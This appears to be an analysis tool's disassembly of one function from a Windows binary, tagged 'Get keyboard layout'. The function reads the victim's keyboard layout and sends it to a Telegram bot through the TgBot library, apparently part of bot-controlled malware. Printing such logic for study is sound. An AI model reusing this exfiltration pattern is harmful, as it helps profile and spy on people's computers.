Function at 0x14000a1a0
Capabilities:
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rbp - 0x20], rdx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r8d, 0x10
lea rdx, [rbp + 0x20]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
mov rbx, qword [rbx]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
xor r14d, r14d
mov qword [rbp - 0x28], r14
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x68]
call fcn.140013570
nop
lea rax, [rbp - 0x48]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rax, [rbp + 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a250
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x78]
call fcn.140013570
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp], rax
mov dword [rbp - 8], r14d
mov dword [rsp + 0x60], r14d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x68]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 0
lea r9, [rsp + 0x78]
lea r8, [rbp - 8]
lea rdx, [rbp - 0x18]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14000a2fe
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000a2fe
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000a2fe
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000a33d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a338
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a338
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000a38d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a388
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a388
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp - 0x38]
call fcn.140011170
nop
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x14000a3d8
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000a3d8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14000a3d8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140017a00
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret